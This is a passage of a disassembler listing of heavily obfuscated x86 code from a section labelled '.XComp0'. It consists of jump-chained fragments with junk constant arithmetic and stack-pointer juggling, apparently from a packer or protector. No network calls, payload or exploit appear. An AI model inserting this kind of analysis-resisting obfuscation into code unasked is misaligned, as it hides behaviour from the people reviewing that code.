		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		jmp	loc_57A4A3
; ---------------------------------------------------------------------------


loc_575F25:				; CODE XREF: .XComp0:00579E44j
		xor	eax, 2724E6B8h
		add	ebp, eax
		pop	eax
		jmp	loc_57FCC5
; ---------------------------------------------------------------------------


loc_575F32:				; CODE XREF: .XComp0:0057D74Fj
		add	ebx, esi
		jmp	loc_57F9FC
; ---------------------------------------------------------------------------


loc_575F39:				; CODE XREF: .XComp0:0057BE56j
		add	edx, edi
		jmp	loc_5780CF
; ---------------------------------------------------------------------------


loc_575F40:				; CODE XREF: .XComp0:00581C22j
		mov	edx, 54E70579h
		or	ecx, edx
		pop	edx
		neg	ecx
		sub	ecx, 2FB6B56Eh
		mov	esi, ecx
		jmp	loc_581618
; ---------------------------------------------------------------------------


loc_575F57:				; CODE XREF: .XComp0:0057E539j
		pop	edx
		xor	ebp, 4E3F68F6h
		xor	ebp, 70A83956h
		and	eax, ebp
		pop	ebp
		shl	eax, 4
		add	eax, 7D24FB5h
		sub	eax, 4FB45F0Ch
		sub	eax, 2A59DB41h
		add	edi, eax
		jmp	loc_582097
; ---------------------------------------------------------------------------


loc_575F80:				; CODE XREF: .XComp0:00577331j
		add	eax, 660D4F3Bh
		sub	eax, 4827C5C3h
		mov	edi, eax
		jmp	loc_5817A4
; ---------------------------------------------------------------------------


loc_575F91:				; CODE XREF: .XComp0:0057E519j
		pop	edx
		add	esi, 6216266Fh
		sub	esi, edx
		jmp	loc_579D93
; ---------------------------------------------------------------------------


loc_575F9F:				; CODE XREF: .XComp0:00574D78j
		add	ecx, 0E7208ECh
		push	esi
		jmp	loc_5767DC
; ---------------------------------------------------------------------------


loc_575FAB:				; CODE XREF: .XComp0:0057E800j
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_57E8E2
; ---------------------------------------------------------------------------


loc_575FB6:				; CODE XREF: .XComp0:0058368Cj
		mov	edx, 59D66E68h
		add	edi, 35481924h
		add	edi, edx
		jmp	loc_57B12B
; ---------------------------------------------------------------------------


loc_575FC8:				; CODE XREF: .XComp0:0057E6BBj
		mov	eax, [esp]
		jmp	loc_582689
; ---------------------------------------------------------------------------


loc_575FD0:				; CODE XREF: .XComp0:00575865j
		mov	esi, ecx
		pop	ecx
		not	esi
		push	edx
		jmp	loc_57BF92
; ---------------------------------------------------------------------------


loc_575FDB:				; CODE XREF: .XComp0:00574BDFj
		pop	ebp
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_5775BF
; ---------------------------------------------------------------------------


loc_575FE6:				; CODE XREF: .XComp0:00578742j
		mov	bh, 26h
		jmp	loc_578F34
; ---------------------------------------------------------------------------
		lodsb
		push	bx
		jmp	loc_577C35
; ---------------------------------------------------------------------------


loc_575FF5:				; CODE XREF: .XComp0:005763FCj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0AC71FA1h
		shr	ebx, 2
		shr	ebx, 5
		shl	ebx, 8
		shl	ebx, 3
		sub	ebx, 86C4A633h
		sub	eax, ebx
		jmp	loc_5830FC
; ---------------------------------------------------------------------------


loc_576019:				; CODE XREF: .XComp0:0057FF37j
		or	ch, 2Dh
		shr	ch, 1
		sub	ch, 26h
		push	edx
		jmp	loc_57517D
; ---------------------------------------------------------------------------


loc_576027:				; CODE XREF: .XComp0:00579EB0j
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 14h
		sub	bl, 22h
		sub	bl, 0B3h
		jmp	loc_5779E9
; ---------------------------------------------------------------------------


loc_57603A:				; CODE XREF: .XComp0:0057393Cj
		mov	ebx, 3D6A6ADFh
		add	[esp+4], ebx
		pop	ebx
		pop	ebx
		jmp	loc_5796B4
; ---------------------------------------------------------------------------


loc_57604A:				; CODE XREF: .XComp0:005739E5j
		xchg	ebx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, ecx
		jmp	loc_57488D
; ---------------------------------------------------------------------------


loc_57605E:				; CODE XREF: .XComp0:0057906Aj
		mov	esp, [esp]
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		movzx	ecx, ax
		jmp	loc_57C2F5
; ---------------------------------------------------------------------------


loc_576075:				; CODE XREF: .XComp0:00578211j
		pop	esi
		mov	ebx, [esp]
		add	esp, 4
		mov	ebp, 3935D278h
		xor	ebp, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	edx
		mov	edx, 228856DAh
		dec	edx
		dec	edx
		jmp	loc_57E4E2
; ---------------------------------------------------------------------------


loc_57609D:				; CODE XREF: .XComp0:0057C8FBj
		push	ebp
		mov	ebp, 28F34E20h
		shl	ebp, 8
		push	edx
		mov	edx, 0BF7058Bh
		neg	edx
		jmp	loc_5773BF
; ---------------------------------------------------------------------------


loc_5760B3:				; CODE XREF: .XComp0:00580FE8j
		add	edi, ebp
		jmp	loc_577DFD
; ---------------------------------------------------------------------------


loc_5760BA:				; CODE XREF: .XComp0:00581894j
		xor	eax, edi
		pop	edi
		add	eax, 3763FC44h
		or	esi, eax
		pop	eax
		inc	esi
		push	edi
		jmp	loc_57FB25
; ---------------------------------------------------------------------------


loc_5760CC:				; CODE XREF: .XComp0:0058159Bj
		neg	bh
		xor	bh, 0FAh
		add	bh, 3Bh
		add	dh, bh
		pop	ebx
		push	eax
		mov	al, dh
		mov	ch, al
		pop	eax
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		shl	ch, 8
		neg	ch
		dec	ch
		jmp	loc_57481A
; ---------------------------------------------------------------------------


loc_5760F0:				; CODE XREF: .XComp0:0057AA51j
		mov	ebx, 2E4667F5h
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		dec	ebx
		push	ecx
		mov	ecx, 6123B3ECh
		add	ebx, ecx
		pop	ecx
		mov	edx, ebx
		pop	ebx
		shr	edx, 2
		or	edx, 400730C7h
		xor	edx, 38F929C9h
		add	edx, 37579D55h
		add	edi, edx
		pop	edx
		jmp	loc_57D236
; ---------------------------------------------------------------------------


loc_576124:				; CODE XREF: .XComp0:0057AFB6j
		mov	ebp, ecx
		pop	ecx
		push	ecx
		mov	ecx, 63C34EFBh
		xor	ecx, 3C6242BAh
		xor	ecx, 3E2026h
		jmp	loc_57CD70
; ---------------------------------------------------------------------------


loc_57613E:				; CODE XREF: .XComp0:0057ADBEj
		sub	esi, 3AF60109h
		add	esi, ecx
		add	esi, 3AF60109h
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		add	esi, 15FD75CAh
		sub	esi, 4DD24E83h
		add	esi, edi
		sub	esp, 4
		jmp	loc_57894A
; ---------------------------------------------------------------------------


loc_576171:				; CODE XREF: .XComp0:00576AD9j
		mov	ebx, 567678AFh
		or	ebx, 362F7E68h
		jmp	loc_57F2CE
; ---------------------------------------------------------------------------


loc_576181:				; CODE XREF: .XComp0:0057D81Cj
		and	ecx, 11C84F14h
		jmp	loc_57A61D
; ---------------------------------------------------------------------------


loc_57618C:				; CODE XREF: .XComp0:00574E19j
		pop	ebx
		and	ebx, 1EDF31D7h
		push	ecx
		push	edx
		jmp	loc_573CD0
; ---------------------------------------------------------------------------


loc_57619A:				; CODE XREF: .XComp0:0057CDDBj
		not	edx
		dec	edx
		sub	edx, 2E3D30BAh
		sub	edx, 753A52AAh
		and	edi, edx
		pop	edx
		jmp	loc_573CB2
; ---------------------------------------------------------------------------


loc_5761B1:				; CODE XREF: .XComp0:00578CCEj
		xor	ebx, 6CD666CFh
		xor	ebx, 5E161F7h
		xor	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_57354D
; ---------------------------------------------------------------------------


loc_5761C8:				; CODE XREF: .XComp0:00574EACj
		xchg	eax, edi
		not	edi
		jmp	loc_5748E3
; ---------------------------------------------------------------------------


loc_5761D0:				; CODE XREF: .XComp0:0057D89Cj
		add	al, bl
		jmp	loc_57ACC6
; ---------------------------------------------------------------------------


loc_5761D7:				; CODE XREF: .XComp0:00574341j
		sub	esi, 4C1D01E4h
		add	esi, edi
		add	esi, 4C1D01E4h
		jmp	loc_578686
; ---------------------------------------------------------------------------


loc_5761EA:				; CODE XREF: .XComp0:0057FD63j
		sub	esp, 4
		jmp	loc_57F088
; ---------------------------------------------------------------------------


loc_5761F5:				; CODE XREF: .XComp0:00575EA6j
		mov	esp, [esp]
		jmp	loc_57AD66
; ---------------------------------------------------------------------------


loc_5761FD:				; CODE XREF: .XComp0:005832C0j
		add	al, dl
		add	al, 58h
		jmp	loc_57EBBC
; ---------------------------------------------------------------------------


loc_576206:				; CODE XREF: .XComp0:0057B4C0j
		mov	ebp, [esp]
		add	esp, 4
		and	edi, 0C1E1053h
		inc	edi
		xor	edi, 4A485Ch
		add	edi, 7136D695h
		add	ebx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		mov	esi, ebx
		mov	ebx, [esp]
		jmp	loc_5833E3
; ---------------------------------------------------------------------------


loc_576232:				; CODE XREF: .XComp0:00575671j
		xor	eax, edx
		push	30C1h
		mov	[esp], esi
		push	ecx
		jmp	loc_57CFD7
; ---------------------------------------------------------------------------


loc_576242:				; CODE XREF: .XComp0:00573658j
		pop	esi
		mov	esi, ecx
		mov	ecx, [esp]
		jmp	loc_573A4E
; ---------------------------------------------------------------------------


loc_57624D:				; CODE XREF: .XComp0:00574790j
		pop	edx
		push	ebp
		mov	ebp, 2
		add	ebx, ebp
		pop	ebp
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 49030DADh
		not	ecx
		jmp	loc_57D816
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_57627D:				; CODE XREF: sub_5A47B5-2CE42j
		xchg	eax, [esp+26h+var_28+2]
		pop	esp
		jmp	loc_57B167
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------


loc_576286:				; CODE XREF: .XComp0:0057FBF8j
		sub	esp, 4
		jmp	loc_573B44
; ---------------------------------------------------------------------------


loc_57628E:				; CODE XREF: .XComp0:0057838Aj
		mov	edx, esp
		push	esi
		mov	esi, 1B5B6905h
		jmp	loc_57A7BB
; ---------------------------------------------------------------------------


loc_57629B:				; CODE XREF: .XComp0:0057FCAAj
		xor	eax, 0CD8E5CB4h
		sub	edx, eax
		jmp	loc_579402
; ---------------------------------------------------------------------------


loc_5762A7:				; CODE XREF: .XComp0:005744A2j
		xor	ebx, ecx
		pop	ecx
		jmp	loc_57FB1A
; ---------------------------------------------------------------------------


loc_5762AF:				; CODE XREF: .XComp0:0058260Cj
		xchg	edi, ebp
		jmp	loc_57DF27
; ---------------------------------------------------------------------------


loc_5762B6:				; CODE XREF: .XComp0:0057A3A8j
		and	eax, 5CA876ACh
		push	ebp
		mov	ebp, 5B3A7BB7h
		xor	eax, ebp
		pop	ebp
		mov	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_582D24
; ---------------------------------------------------------------------------


loc_5762D4:				; CODE XREF: .XComp0:0057B7F1j
		push	0BF8h
		mov	[esp], esi
		mov	esi, 0A30A014Ch
		jmp	loc_581CD7
; ---------------------------------------------------------------------------


loc_5762E6:				; CODE XREF: .XComp0:0057BACFj
		mov	ebx, 4
		jmp	loc_576367
; ---------------------------------------------------------------------------


loc_5762F0:				; CODE XREF: .XComp0:00578381j
		push	edx
		mov	edx, 7A925301h
		shr	edx, 1
		xor	edx, 7F1A5111h
		or	edx, 34E305Dh
		neg	edx
		xor	edx, 0D52D7499h
		jmp	loc_580993
; ---------------------------------------------------------------------------


loc_576311:				; CODE XREF: .XComp0:00574AEDj
		add	esp, 4
		jmp	loc_57D3D2
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	4C4Ch
		mov	[esp], edi
		push	esp
		jmp	loc_5807E5
; ---------------------------------------------------------------------------


loc_57632B:				; CODE XREF: .XComp0:005742DDj
		mov	bl, al
		jmp	loc_580B66
; ---------------------------------------------------------------------------


loc_576332:				; CODE XREF: .XComp0:005820DFj
		pop	edx
		movzx	ax, byte ptr [eax]
		jmp	loc_57FB0D
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], al
		pushf
		jmp	loc_578216
; ---------------------------------------------------------------------------


loc_57634B:				; CODE XREF: .XComp0:00580B2Ej
		push	esi
		mov	esi, 4CBC1DAEh
		mov	ecx, 0C8D511C6h
		jmp	loc_58054A
; ---------------------------------------------------------------------------


loc_57635B:				; CODE XREF: .XComp0:00580FF0j
		push	ecx
		sub	esp, 4
		jmp	loc_57F687
; ---------------------------------------------------------------------------


loc_576367:				; CODE XREF: .XComp0:005762EBj
		add	[esp+4], ebx
		pop	ebx
		jmp	loc_575E0F
; ---------------------------------------------------------------------------


loc_576371:				; CODE XREF: .XComp0:0057AD4Fj
		add	ecx, 4
		jmp	loc_57933A
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	2C2h
		jmp	loc_5814DD
; ---------------------------------------------------------------------------


loc_576387:				; CODE XREF: .XComp0:0057BCE0j
		neg	esi
		sub	esi, 48FB66AFh
		push	ebp
		mov	ebp, 74118692h
		xor	esi, ebp
		pop	ebp
		add	edi, esi
		jmp	loc_57DC18
; ---------------------------------------------------------------------------


loc_57639F:				; CODE XREF: .XComp0:005735DFj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_578FED
; ---------------------------------------------------------------------------


loc_5763B0:				; CODE XREF: .XComp0:00573548j
		add	ecx, esi
		add	ecx, 37E46E25h
		pop	esi
		add	ecx, 4
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_57F996
; ---------------------------------------------------------------------------


loc_5763D1:				; CODE XREF: .XComp0:0057AB15j
		add	bp, cx
		pop	cx
		not	bp
		sub	bp, 1826h
		sub	ax, bp
		jmp	loc_57E210
; ---------------------------------------------------------------------------


loc_5763E6:				; CODE XREF: .XComp0:0057935Ej
		add	ebp, edx
		jmp	loc_581572
; ---------------------------------------------------------------------------


loc_5763ED:				; CODE XREF: .XComp0:0057B542j
		add	dh, 3Fh
		push	ebx
		mov	bh, 0D3h
		add	bh, 5Ch
		jmp	loc_582C05
; ---------------------------------------------------------------------------


loc_5763FB:				; CODE XREF: .XComp0:0057736Ej
		pop	eax
		jmp	loc_575FF5
; ---------------------------------------------------------------------------


loc_576401:				; CODE XREF: .XComp0:00580A55j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_583430
; ---------------------------------------------------------------------------


loc_576414:				; CODE XREF: .XComp0:00582155j
		xor	ecx, 542F377Ah
		and	ecx, 7D82590Dh
		add	ecx, 0C9459024h
		sub	esi, ecx
		pop	ecx
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_575E90
		push	dword ptr [edi+1Ch]
		push	edx
		push	6B7Bh
		mov	[esp], edi
		jmp	loc_575ED9
; ---------------------------------------------------------------------------


loc_57644A:				; CODE XREF: .XComp0:00573DCEj
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		pop	edx
		pop	ebx
		xor	[esp], edx
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_576461:				; CODE XREF: .XComp0:005772ACj
		add	esp, 4
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		inc	ebp
		push	esi
		mov	esi, 0F11BD1EAh
		jmp	loc_57ACD7
; ---------------------------------------------------------------------------


loc_576478:				; CODE XREF: .XComp0:0057D26Aj
		mov	[esp], ecx
		jmp	loc_576C78
; ---------------------------------------------------------------------------


loc_576480:				; CODE XREF: .XComp0:0057BD42j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_5832C5
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	6E3Fh
		mov	[esp], eax
		push	esp
		pop	eax
		push	ebp
		mov	ebp, 4
		jmp	loc_581E11
; ---------------------------------------------------------------------------


loc_5764B9:				; CODE XREF: .XComp0:00575C40j
		pop	eax
		jmp	loc_57368A
; ---------------------------------------------------------------------------


loc_5764BF:				; CODE XREF: .XComp0:005786A6j
		sub	ecx, ebp
		pop	ebp
		jmp	loc_57F121
; ---------------------------------------------------------------------------


loc_5764C7:				; CODE XREF: .XComp0:0057F597j
		pop	eax
		jmp	loc_57B6A1
; ---------------------------------------------------------------------------


loc_5764CD:				; CODE XREF: .XComp0:0057E292j
		push	1833h
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_574C21
; ---------------------------------------------------------------------------


loc_5764DD:				; CODE XREF: .XComp0:005829A1j
		push	edi
		mov	edi, 9554508h
		jmp	loc_574962
; ---------------------------------------------------------------------------


loc_5764E8:				; CODE XREF: .XComp0:0057D356j
		pop	edi
		pop	esi
		add	edi, 0FFFFFFFFh
		shr	edi, 8
		add	edi, 0FFFFFFFFh
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 8DB16C93h
		sub	edi, ebx
		pop	ebx
		jmp	loc_57F920
; ---------------------------------------------------------------------------


loc_576509:				; CODE XREF: .XComp0:005735B4j
		xor	ebp, edx
		xor	edx, ebp
		xor	ebp, edx
		dec	ebp
		xor	ebp, 0A75DC69Bh
		push	ecx
		mov	ecx, 6519727Bh
		sub	ebx, ecx
		jmp	loc_57A42C
; ---------------------------------------------------------------------------


loc_576523:				; CODE XREF: .XComp0:0057E5FDj
		pop	esp
		jmp	loc_57A75E
; ---------------------------------------------------------------------------


loc_576529:				; CODE XREF: .XComp0:00582D4Ej
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_576918
; ---------------------------------------------------------------------------


loc_576536:				; CODE XREF: .XComp0:0057798Fj
		pop	esp
		mov	[esp], edx
		mov	dl, 0E1h
		shr	dl, 1
		jmp	loc_578910
; ---------------------------------------------------------------------------


loc_576543:				; CODE XREF: .XComp0:0057B2E2j
		push	small 296Eh
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_576557:				; CODE XREF: .XComp0:00581B40j
		and	edi, edx
		pop	edx
		dec	edi
		or	edi, 324E6044h
		xor	edi, 6FAE0E75h
		sub	edi, 2FB1EC8h
		sub	edx, edi
		pop	edi
		add	edx, edi
		jmp	loc_578FB5
; ---------------------------------------------------------------------------


loc_576577:				; CODE XREF: .XComp0:0057A537j
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_583118
; ---------------------------------------------------------------------------


loc_576580:				; CODE XREF: .XComp0:00578DF7j
		mov	ecx, [esp]
		jmp	loc_580B3A
; ---------------------------------------------------------------------------


loc_576588:				; CODE XREF: .XComp0:0057CB6Aj
		pop	edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		add	eax, 2
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	ax, [esp]
		push	edx
		mov	edx, esp
		push	1C0Dh
		mov	[esp], ebx
		jmp	loc_582741
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		push	ebp
		jmp	loc_57CB42
; ---------------------------------------------------------------------------


loc_5765DC:				; CODE XREF: .XComp0:0057B1EBj
		add	esi, 0EE949ADh
		mov	edi, esi
		jmp	loc_57AB07
; ---------------------------------------------------------------------------


loc_5765E9:				; CODE XREF: .XComp0:0057397Aj
		mov	eax, esp
		jmp	loc_5817E2
; ---------------------------------------------------------------------------


loc_5765F0:				; CODE XREF: .XComp0:0057E3CCj
		push	437h
		mov	[esp], edi
		mov	edi, 61124C03h
		jmp	loc_580C97
; ---------------------------------------------------------------------------


loc_576602:				; CODE XREF: .XComp0:00581EE5j
		pop	esp
		jmp	loc_58172C
; ---------------------------------------------------------------------------


loc_576608:				; CODE XREF: .XComp0:00577BCCj
		not	bh
		mov	dl, bh
		pop	bx
		push	ebx
		mov	bl, dl
		xchg	cl, bl
		not	cl
		xor	bl, cl
		xor	cl, bl
		xor	bl, cl
		mov	dl, bl
		pop	ebx
		xor	dl, 18h
		add	al, 67h
		add	al, 1Ch
		add	al, dl
		jmp	loc_582AEC
; ---------------------------------------------------------------------------


loc_57662C:				; CODE XREF: .XComp0:00578CD6j
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	1C3Fh
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		jmp	loc_57C529
; ---------------------------------------------------------------------------


loc_576654:				; CODE XREF: .XComp0:005794F3j
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		sub	ebx, eax
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5784AC
; ---------------------------------------------------------------------------


loc_57667D:				; CODE XREF: .XComp0:0057DF5Dj
		pop	ebp
		add	ebp, 4
		jmp	loc_57DBC0
; ---------------------------------------------------------------------------


loc_576689:				; CODE XREF: .XComp0:00582F68j
		shl	ecx, 4
		jmp	loc_582D3F
; ---------------------------------------------------------------------------


loc_576691:				; CODE XREF: .XComp0:0057E1CFj
		add	edx, ecx
		pop	ecx
		jmp	loc_579DF3
; ---------------------------------------------------------------------------


loc_576699:				; CODE XREF: .XComp0:00579CEDj
		push	edx
		mov	edx, 27D27ED1h
		add	edx, 68955978h
		or	edx, 264C0429h
		shl	edx, 5
		shr	edx, 2
		jmp	loc_57B74F
; ---------------------------------------------------------------------------


loc_5766B6:				; CODE XREF: .XComp0:00573E0Ej
		not	edx
		xor	edx, 4F3BBA7Fh
		push	ecx
		push	edx
		pop	ecx
		mov	esi, ecx
		jmp	loc_57CB10
; ---------------------------------------------------------------------------


loc_5766C8:				; CODE XREF: .XComp0:005751DBj
		pop	ebx
		jmp	loc_582212
; ---------------------------------------------------------------------------


loc_5766CE:				; CODE XREF: .XComp0:00573FEAj
		add	al, 6Bh
		sub	al, bl
		push	ecx
		push	eax
		mov	ah, 0D7h
		push	ecx
		push	ebx
		mov	bl, 90h
		mov	ch, 9Eh
		xor	ch, bl
		pop	ebx
		jmp	loc_57C142
; ---------------------------------------------------------------------------


loc_5766E4:				; CODE XREF: .XComp0:0057C68Dj
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		pop	ecx
		push	5A82h
		jmp	loc_579DCA
; ---------------------------------------------------------------------------


loc_5766F4:				; CODE XREF: .XComp0:00577E93j
		xor	ebx, edx
		neg	edx
		xor	ebx, edx
		xor	edx, ebx
		xor	ebx, edx
		inc	ebx
		neg	ebx
		push	edi
		mov	edi, 88F6E80h
		xor	edi, 42EC24E4h
		or	ebx, edi
		pop	edi
		sub	ebx, 0FC311CABh
		jmp	loc_5789DF
; ---------------------------------------------------------------------------


loc_57671B:				; CODE XREF: .XComp0:0057C560j
		pop	ebp
		sub	ebx, edx
		pop	edx
		sub	ebx, 70575C50h
		and	ebx, 44825CF0h
		neg	ebx
		push	esi
		mov	esi, 48240D4h
		jmp	loc_57E1B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_576738:				; CODE XREF: sub_5A47B5-27D67j
		sub	ebx, 4
		xchg	ebx, [esp+22h+var_24+2]
		pop	esp
		mov	[esp+0], ecx
		push	eax
		mov	al, 0CAh
		jmp	loc_57DBB3
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------


loc_57674A:				; CODE XREF: .XComp0:0057D41Ej
		neg	ebx
		and	ebx, 4EA25654h
		shr	ebx, 7
		inc	ebx
		jmp	loc_573E2A
; ---------------------------------------------------------------------------


loc_57675B:				; CODE XREF: .XComp0:0057B17Ej
		add	edi, 7AEC075Bh
		neg	edi
		dec	edi
		sub	edi, 7E5A5FB9h
		jmp	loc_57AE50
; ---------------------------------------------------------------------------


loc_57676F:				; CODE XREF: .XComp0:0057DF9Aj
		xor	edx, 58AE2085h
		jmp	loc_57B202
; ---------------------------------------------------------------------------


loc_57677A:				; CODE XREF: .XComp0:00578B04j
		xor	ebp, 1AF8379Fh
		shr	ebp, 7
		shr	ebp, 6
		shl	ebp, 5
		jmp	loc_578058
; ---------------------------------------------------------------------------


loc_57678E:				; CODE XREF: .XComp0:0057D0BDj
		shl	dl, 4
		add	dl, 89h
		add	dl, 35h
		add	dl, 76h
		add	bl, dl
		pop	edx
		sub	bl, al
		push	ax
		jmp	loc_57EC03
; ---------------------------------------------------------------------------


loc_5767A6:				; CODE XREF: .XComp0:00575668j
		mov	ecx, 4C127E92h
		sub	eax, 0DCA5F02h
		push	ebx
		mov	ebx, 25A5260Ch
		sub	eax, ebx
		jmp	loc_57F0C3
; ---------------------------------------------------------------------------


loc_5767BD:				; CODE XREF: .XComp0:0057C5C8j
		mov	edx, 254B5D30h
		mov	edi, edx
		pop	edx
		jmp	loc_57D9B1
; ---------------------------------------------------------------------------


loc_5767CA:				; CODE XREF: .XComp0:0057E0E1j
		pop	eax
		add	eax, 4
		jmp	loc_577E8B
; ---------------------------------------------------------------------------


loc_5767D5:				; CODE XREF: .XComp0:00573C63j
		shr	ecx, 1
		jmp	loc_582675
; ---------------------------------------------------------------------------


loc_5767DC:				; CODE XREF: .XComp0:00575FA6j
		push	edi
		jmp	loc_57DDC5
; ---------------------------------------------------------------------------


loc_5767E2:				; CODE XREF: .XComp0:0057504Fj
		mov	[esp], ecx
		push	1BD9h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ecx
		sub	esp, 4
		jmp	loc_5810D0
; ---------------------------------------------------------------------------


loc_5767FE:				; CODE XREF: .XComp0:00575110j
		not	bl
		push	ecx
		mov	ch, bl
		mov	al, ch
		pop	ecx
		jmp	loc_5749B6
; ---------------------------------------------------------------------------


loc_57680B:				; CODE XREF: .XComp0:0057D159j
		mov	ecx, 4
		add	eax, ecx
		jmp	loc_5750C0
; ---------------------------------------------------------------------------


loc_576817:				; CODE XREF: .XComp0:00582574j
		or	esi, 3A7E389Fh
		not	esi
		jmp	loc_575CC3
; ---------------------------------------------------------------------------


loc_576824:				; CODE XREF: .XComp0:0057B74Aj
		add	ecx, 4
		jmp	loc_57373E
; ---------------------------------------------------------------------------


loc_57682F:				; CODE XREF: .XComp0:0057B789j
		push	466Ch
		jmp	loc_580422
; ---------------------------------------------------------------------------


loc_576839:				; CODE XREF: .XComp0:00582397j
		mov	ecx, [esp]
		push	edi
		jmp	loc_578111
; ---------------------------------------------------------------------------


loc_576842:				; CODE XREF: .XComp0:005773DAj
		add	edi, ebp
		jmp	loc_575609
; ---------------------------------------------------------------------------


loc_576849:				; CODE XREF: .XComp0:005740B5j
		not	edi
		and	edi, 3FEB4551h
		inc	edi
		add	edi, 5360D795h
		add	eax, edi
		pop	edi
		add	eax, 61410D7Fh
		sub	eax, edx
		push	edx
		jmp	loc_57F302
; ---------------------------------------------------------------------------


loc_576868:				; CODE XREF: .XComp0:0057B595j
		xor	ecx, edx
		pop	edx
		add	edi, ecx
		pop	ecx
		jmp	loc_5793A4
; ---------------------------------------------------------------------------


loc_576873:				; CODE XREF: .XComp0:00576B3Ej
		pop	edx
		push	eax
		mov	eax, 4
		jmp	loc_575898
; ---------------------------------------------------------------------------


loc_57687F:				; CODE XREF: .XComp0:0057F9A1j
		mov	esi, 4
		jmp	loc_575BEA
; ---------------------------------------------------------------------------


loc_576889:				; CODE XREF: .XComp0:0057C0C9j
		add	edx, esi
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	10DEh
		mov	[esp], esi
		mov	esi, 2EA854FAh
		shl	esi, 8
		xor	esi, 151E107Eh
		push	edx
		mov	edx, 0EA66860h
		and	edx, 2E020626h
		inc	edx
		shl	edx, 5
		not	edx
		not	edx
		xor	edx, 0CC2955DCh
		xor	esi, edx
		pop	edx
		add	esi, 4EDC4482h
		jmp	loc_57A59E
; ---------------------------------------------------------------------------


loc_5768D4:				; CODE XREF: .XComp0:005742E3j
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5795D3
; ---------------------------------------------------------------------------


loc_5768E9:				; CODE XREF: .XComp0:0057E7DFj
		neg	eax
		and	eax, 8CE6385h
		neg	eax
		and	eax, 686F04F3h
		inc	eax
		jmp	loc_573BA8
; ---------------------------------------------------------------------------


loc_5768FD:				; CODE XREF: .XComp0:0057EE5Dj
		pop	ecx
		sub	al, 3Ch
		add	al, bh
		add	al, 3Ch
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		jmp	loc_5797D0
; ---------------------------------------------------------------------------


loc_576918:				; CODE XREF: .XComp0:00576531j
		mov	esp, [esp]
		push	5B9Fh
		mov	[esp], edx
		mov	edx, 2
		add	esi, edx
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_579A81
; ---------------------------------------------------------------------------


loc_576935:				; CODE XREF: .XComp0:00574777j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5787C7
; ---------------------------------------------------------------------------


loc_57694B:				; CODE XREF: .XComp0:00575499j
		add	esp, 4
		mov	edx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
